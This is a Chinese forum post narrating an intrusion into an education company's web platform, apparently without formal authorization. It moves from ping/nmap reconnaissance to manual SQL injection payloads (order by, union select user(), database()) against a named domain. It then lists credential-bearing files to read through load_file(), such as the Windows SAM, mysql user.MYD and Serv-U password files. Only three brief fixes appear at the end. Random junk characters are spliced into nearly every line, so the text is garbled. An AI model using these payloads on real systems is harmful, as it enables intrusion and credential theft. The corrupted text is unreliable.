题记：) Y9 z! Z6 {1 h5 {. [3 E. `
一位朋友在某教育公司，一套网络教育平台。一年前，在2008年8月份的时候，我看到了这套平台，当时发现了个注入漏洞，测试了一下，得到一个可用帐户后就没有再继续下去。今天7月，又说到此事，我决定继续下去……3 d+ @- `6 y# g, g" e8 b; _/ ^
第一步：获取需要的信息5 V/ r- S4 f8 U/ j' L r
由于之前测试过，知道此系统某处存在SQL注入漏洞。但由于时隔一年，岁月的远去已经深深的隐藏了那个SQL注入漏洞的地址，现在需要重新收集服务器有用信息。 |9 f$ c7 O& G u" K: P
注：以下为保护特用XXX代替敏感信息
' l1 b) c3 T, k顺手先PING了一下他们的域名：
& p/ d2 d/ ?+ Oping XXX.XXX.XXX.XXX（本文约定：用XXX.XXX.XXX.XXX代表测试IP和域名）. y% d6 y V, k
64 bytes from *********: icmp_seq=1 ttl=246 time=1.87 ms9 @$ L& [0 n6 f; z
顺便了解一下TTL，学好基础知识才能一路顺风：4 {0 m5 v& C z4 b* z* `
TTL：(Time To Live ) 生存时间
: R! \% o0 b2 S2 K. g+ e指定数据包被路由器丢弃之前允许通过的网段数量。5 q, n+ \3 {. `
TTL 是由发送主机设置的，以防止数据包不断在 IP 互联网络上永不终止地循环。转发 IP 数据包时，要求路由器至少将 TTL 减小 1。0 J6 O0 f: J; G7 Z8 f& q
使用PING时涉及到的 ICMP 报文类型7 }0 F8 w2 Y3 v* H3 N
一个为ICMP请求回显（ICMP Echo Request）- U4 F/ F4 L: ?0 m$ L
一个为ICMP回显应答（ICMP Echo Reply）8 `. c; V2 p1 g5 Y9 {: I+ y4 ^
TTL 字段值可以帮助我们识别操作系统类型。: k8 B' H/ C \0 L+ O0 R
UNIX 及类 UNIX 操作系统 ICMP 回显应答的 TTL 字段值为 255% D6 m" D: ^. v0 E% p8 n% I6 O
Compaq Tru64 5.0 ICMP 回显应答的 TTL 字段值为 64, Y) B( e# q5 V* r- r% g1 e( N
微软 Windows NT/2K操作系统 ICMP 回显应答的 TTL 字段值为 128* N+ I) k$ {$ R! {
微软 Windows 95 操作系统 ICMP 回显应答的 TTL 字段值为 32* A8 b; F! `) v1 y# e0 e. U+ `
当然，返回的TTL值是相同的
# Y1 I4 _# l t& @+ U- p) ]但有些情况下有所特殊
/ v& R3 r' r2 r+ W" HLINUX Kernel 2.2.x & 2.4.x ICMP 回显应答的 TTL 字段值为 64) r( B% f) k9 ^) i
FreeBSD 4.1, 4.0, 3.4;
* g0 [ \9 R9 bSun Solaris 2.5.1, 2.6, 2.7, 2.8;; @' Y. E& x. E# y) Q! U% I
OpenBSD 2.6, 2.7,3 V% z# m+ `+ O$ a
NetBSD9 I; `: j2 }: q5 Q7 q* T
HP UX 10.205 t) H* O0 m- N
ICMP 回显应答的 TTL 字段值为 255
! \/ f9 G% y, g, W, ]# W0 _! {% b0 BWindows 95/98/98SE6 N% ~7 z7 \7 {, Q( n; r
Windows ME' ]4 }2 d2 ?9 O" d4 I
ICMP 回显应答的 TTL 字段值为 32
+ k' M; [2 I& v P& R; x& AWindows NT4 WRKS
5 S7 Q3 V# g8 C7 G! Q, I# TWindows NT4 Server
& i& M5 N+ p' l" W7 h8 D, }Windows 20006 t5 @9 x$ g/ d5 ]
Windows XP
$ @! M/ j& ?) X% t/ BICMP 回显应答的 TTL 字段值为 128( J! W/ v4 l' q* i8 L) s+ T
这样，我们就可以通过这种方法来辨别操作系统; t) U% ~" o( f
TTL值的注册表位置HKEY_LOCAL_MACHINE\SYSTEM \CurrentControlSet\Services\Tcpip\Parameters 其中有个DefaultTTL的DWORD值，其数据就是默认的TTL值了，我们可以修改，但不能大于十进制的2558 z# \3 b: ^$ p: s) P9 ?& V
用NMAP扫描一下：2 B: T8 d1 n9 d# M
nmap -sT -O XXX.XXX.XXX.XXX
?2 r/ Y! j u- Z/ r: G. ]如果没有装WinPcap则会弹出提示：1 z6 g& v$ m9 d; r) M
WARNING: Could not import all necessary WinPcap functions. You may need to upgr3 ?3 T/ l J) g& k9 m: \5 d
ade to version 3.1 or higher from http://www.winpcap.org. Resorting to connect(7 }% C( p- c& `
) mode — Nmap may not function completely
8 P. r/ g6 b# eTCP/IP fingerprinting (for OS scan) requires that WinPcap version 3.1 or higher( a1 v( \. B0 c
and iphlpapi.dll be installed. You seem to be missing one or both of these. Win7 O: p1 G" h0 |& _! }1 k/ k* ~
pcap is available from http://www.winpcap.org. iphlpapi.dll comes with Win98 an. S8 _8 g$ a/ M" L% O( z" a5 C2 F
d later operating sytems and NT 4.0 with SP4 or greater. For previous windows v3 |( C1 Z' J. S' V( O
ersions, you may be able to take iphlpapi.dll from another system and place it i8 y4 u) O, \0 x% ]) ^
n your system32 dir (e.g. c:\windows\system32).) g4 F" d0 ~' h9 I5 J$ ]
QUITTING!# ~( Q: z" k- |0 j2 U# S
到这里下载： http://www.winpcap.org/install/bin/WinPcap_4_1_1.exe* b) Q& g7 P- N2 q* o
安装后继续执行刚才的命令，等待扫描完毕后得到入下信息：) y/ ?% W. @8 ?% S+ |3 X
Interesting ports on XXX.XXX.XXX.XXX:
/ k2 U8 y- O( W* P$ g* D4 j9 }; N8 cNot shown: 986 closed ports
6 F7 z% X% M' K/ Z% B0 mPORT STATE SERVICE6 Y/ X4 _: N0 a2 w b9 ?- ~$ i
21/tcp open ftp5 Q1 M7 `; h; t
22/tcp open ssh- T# c3 _# m- q
23/tcp open telnet
5 _) i; ^& i4 L( m( T80/tcp open http/ c6 w5 r o) p7 b& ~
111/tcp open rpcbind8 {3 ]7 P! K# U& K4 e
135/tcp filtered msrpc
: ^" v0 P9 N3 v8 p# f2 J* |139/tcp filtered netbios-ssn, @2 J$ ]" {4 q( Q" S& b$ O
445/tcp filtered microsoft-ds/ I8 f: g8 y. c) t* n% i* g1 o+ G3 s
513/tcp open login( W# Y: F' b9 L; g9 e
514/tcp open shell8 k2 [8 v1 X7 A6 J% t* y. u
593/tcp filtered http-rpc-epmap* J& J/ L7 L6 g( H: K9 F: i
1720/tcp filtered H.323/Q.931
/ F9 F* Y3 l' Z/ |3306/tcp open mysql
8 T% |6 Q* p, o) t4 v4444/tcp filtered krb524
' c4 i" x1 K' X: {Device type: WAP5 w I9 c* a1 I% W6 \+ `
Running: Linux 2.4.X$ e: E M. o) R* N9 P
OS details: DD-WRT (Linux 2.4.35s): ^$ e4 H9 o9 F3 K, u! Q3 w
Network Distance: 13 hops
}& _8 ^. b) b! Y, }8 [1 e4 r' j看到SSH22端口是开着的，打开putty试一下，看是否可以正常连接：
$ c5 t5 }& V0 I' J3 b2 z/ zlogin as:
% ]/ T+ r( W( U/ a1 h+ u8 ~* q1 cTelnet23端口也是开着的，用telnet 命令链接一下：7 |# t! Q2 `$ H; W
telnet XXX.XXX.XXX.XXX" \! ^- n$ Y' a
提示：
/ u1 Z/ v* _4 [" rRed Hat Enterprise Linux Server release 5.2 (Tikanga), j$ T0 b2 ?9 i' x, z3 z
Kernel 2.6.18-92.el5PAE on an i686
( n2 D) n% u" K: ]) T8 ^login:
% F+ `! t$ N8 {7 x获取HTTP头信息：. m1 M4 b* o+ v& ?8 }
在本地执行如下PHP代码' E- R1 {) Z" |
<?php2 U- s0 w: ?1 c1 s$ B
$url = ‘XXX.XXX.XXX.XXX’;1 i2 k& w; g7 n
print_r(get_headers($url));8 F" j: E1 L8 B6 l0 ^" }
print_r(get_headers($url, 1));
7 c" C% ?4 G0 V5 x+ @' x?>
+ d4 n7 k& k+ P, Y! r& v将以上代码保存为PHP文件，执行：
! o, g: \# @5 ]: c2 K/ f8 DArray ( [0] => HTTP/1.1 200 OK [1] => Server: nginx/0.7.61 [2] => Date: Mon, 02 Nov 2009 09:06:48 GMT [3] => Content-Type: text/html; charset=gb2312,gbk,utf-8 [4] => Content-Length: 75 [5] => Last-Modified: Thu, 20 Aug 2009 19:35:37 GMT [6] => Connection: close [7] => Accept-Ranges: bytes ) Array ( [0] => HTTP/1.1 200 OK [Server] => nginx/0.7.61 [Date] => Mon, 02 Nov 2009 09:06:48 GMT [Content-Type] => text/html; charset=gb2312,gbk,utf-8 [Content-Length] => 75 [Last-Modified] => Thu, 20 Aug 2009 19:35:37 GMT [Connection] => close [Accept-Ranges] => bytes )
8 q3 M/ L6 n; @1 J2 Z; N0 i7 M现在可以得出结论：! D' _6 }: l2 l H. O
系统版本：Red Hat Enterprise Linux Server release 5.2 (Tikanga)
. @$ l; u% I. O( f$ w5 x4 _0 c内核版本：Kernel 2.6.18-92.el5PAE on an i686
. g8 R, X3 X& E- l1 @1 X3 xWEB服务器版本：nginx/0.7.61
7 b- R5 q% u i1 q6 J# x& B. f第二步，开始测试寻找漏洞
! ~3 b' X" C, m! W0 U分析是否存在注入漏洞，因为上次曾发现存在过，所以注入则是我们的首选。0 `; q0 Y; J9 z% X" E' Z. D* F
1、敏感地址：站内存在有类似：http://www.fovweb.com/XXX.php?id=123 这种地址，属动态传参的
, S* }# l+ t- k% v! K2 S( v% j2、测试方法：在地址后加 and 1=1 和 and 1=2 测试* h" H( j3 s! M; A0 n+ }
http://www.fovweb.com/XXX.php?id=123 and 1=1 返回正常
4 A- n: _) e$ Y% S5 a* k/ f' zhttp://www.fovweb.com/XXX.php?id=123 and 1=2 返回错误
9 a, a& D: V- X7 m5 }9 `恭喜，两次返回结果不同，则很有可能存在未过滤敏感字符而存在SQL注入漏洞，我们继续$ Z X/ f8 y s& e4 [& f$ J( e
3、手工注入：/ r1 J M; }5 H/ j
注入也应该有个思路，不能随便碰运气，要记住入侵检测不是靠运气而走下去的，要靠的是清晰的思路、过硬的技术、很全的知识面。9 Q1 z9 q/ u' t3 c4 T! F7 Y
3.1 猜测当前表字段数
. T6 }' m2 ]' e8 H2 P2 Ahttp://www.fovweb.com/XXX.php?id=123 and 1=1 order by 10
1 w3 F& T# l* Q! s9 c' B9 w此处猜测有个简单的算法，都是有技巧的吗，呵呵
( N' v$ G5 P* H' V. y3 I算法简单如下：
: U& l$ G1 Y7 i9 ~; k第一步：根据页面信息，大概估算一个数值，这个是要靠一定的经验了；( N0 m: s9 I7 I% N) O- a- w9 s
第二步：取中算法，好比是10，如果返回错误，则取中间值5进行下一次猜测；
- Y! l( D: k# e# ^需要注意：如果所选数值在字段数范围内即小于等于，则会（返回正常）；如果所选数值在字段范围外即大于等于，则会（返回错误）。8 q+ `" `7 K5 d+ [) s
以此来判断，是否过界，配合取中算法猜出字段数。, ~ x) {- ?7 ]7 @$ _) f
举例：
* o) s6 R {' n( w/ ?http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 3 返回正常
0 M3 z, g: k1 zhttp://www.fovweb.com/XXX.php?id=123 and 1=1 order by 4 返回错误# h' E6 [: I4 N% O: z
此时3则为我们要找的字段数。/ H# V$ {/ N* o2 Y
3.2 配合union联合查询字段在页面所位置; B1 h1 N- S# P; L! X
我们已经知道了字段数为3，此时则可以做如下操作：
. _ ~3 [# d, w3 N4 Z2 z( D9 m" c" [, Zhttp://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,2,3
( a1 K5 M# `: C: x* q O5 @. X
这样就可以测试到哪些字段在页面上有所显示了，如图： [0 M d( x6 G; r' R2 Z
6 x, p& S4 ^7 i' C& D, P, r3.3 查敏感信息4 p) {9 e6 _7 Z# F: l
这也是个思路问题，我们需要什么，其实到了这一步已经能做什么多事情了。
- ]3 l/ p, J/ Ahttp://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,user(),database()
M* X+ n# k: k0 O/ e3.3.1 先查数据库用户、数据库名，以备后用，如图：4 G& i9 ?3 F, l( y
( f% O! q% B2 X7 ]) C3 W
得到数据库用户为root、数据库名为DBxx；
6 Y; ~& z6 J9 [" `1 i5 M3.3.2 查配置文件
6 _4 [0 e% N2 h查配置文件，就是指查看系统敏感的文件，如web服务器配置文件等。& X' r; g# Q; Z- ^2 V
查看文件有一定的条件限制：8 v7 k2 d/ X; \# G
欲读取文件必须在服务器上
3 R" A7 L0 x4 B必须指定文件完整的路径4 E/ C( W( ?4 H/ Y
必须有权限读取并且文件必须完全可读
; B$ m. c: w% K" k" t4 ^欲读取文件必须小于 max_allowed_packet
& v$ V5 X: y, D, H1 yMYSQL注入中，load_file()函数在获得webshell以及提权过程中起着十分重要的作用，常被用来读取各种配置文件。
* g# ^% y' q* k8 T& M常用的一些：
/ E; z$ w: ]( A( n/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
1 V6 j, I) m/ P9 d$ h3 _/usr/local/apache2/conf/httpd.conf
2 t* l% Z+ j0 _- L, M9 [. j/ }( f/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
9 m) o$ a1 i; k7 M, w. `8 c Y6 |/usr/local/app/php5/lib/php.ini //PHP相关设置5 f3 e0 B8 w/ w1 q4 \! g
/etc/sysconfig/iptables //从中得到防火墙规则策略/ x |1 o& d5 K
/etc/httpd/conf/httpd.conf // apache配置文件* @8 m7 B; C+ z/ m8 ^% R
/etc/rsyncd.conf //同步程序配置文件+ g0 p' G1 l$ K8 I' O
/etc/sysconfig/network-scripts/ifcfg-eth0 //查看IP.
4 g) A, `" `1 N. F/etc/my.cnf //mysql的配置文件# _( V2 z, v+ N- m7 v' N5 j: i- r
/etc/redhat-release //系统版本
9 g1 Y' F4 [) V9 U% P7 u* @/etc/issue
# ]* z% H" o" u$ r! A/etc/issue.net7 e7 O2 @+ d% p* J$ |7 c: g) m
c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码# ~6 S( L9 Y6 l! U& R; [8 N
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码
2 B% N# W4 T/ G# ]- Ic:\Program Files\Serv-U\ServUDaemon.ini8 b+ l! ]+ F9 `- q, o5 s' Z+ Y& P
c:\windows\my.ini //MYSQL配置文件 n& |% n( m( ]# S- d+ d2 S, {
c:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件/ k3 o7 C* w5 r6 }
等等。实际上，load_file()的作用不止于此，它还可以用来读取系统中的二进制文件，2 @9 d; U* b+ O. |) P
c:\windows\repair\sam //存储了WINDOWS系统初次安装的密码8 F) M& G, I( g+ `/ A; Z
c:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此. c2 O1 Q' g N7 e b) u$ l( Q9 l: y' ^. V
c:\Program Files\RhinoSoft.com\ServUDaemon.exe) D5 s1 e, e' c
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件6 W1 |7 c1 }* |! h0 R' W3 T; J- ^# A
//存储了pcAnywhere的登陆密码. a2 c5 `# J5 R% m
由于之前得到信息，此台服务器是采用的nginx做的Web服务器，那我们就来试着找一下nginx的安装路径吧。
* o9 @3 f% w) _- [8 t这个没有技术性可言，纯靠经验和运气，由于很少用nginx不了解，我就先到网上搜索常用的安装路径，以及比较好的配置文档中的安装路径进行测试，最终，得到nginx安装路径“/usr/local/nginx/conf/nginx.conf”。
" g; u: O# u6 v% N5 X6 s最后：防范措施
' @& t0 G. \- S+ E1、修复PHP注入漏洞；
0 E/ n j1 M' J6 u4 |2、Mysql使用普通权限的用户；
7 _$ N% S4 H+ q# t) x- s4 \0 `3、升级linux内核至最新版本； |
发表于 2013-2-16 22:23:32
收藏
支持
反对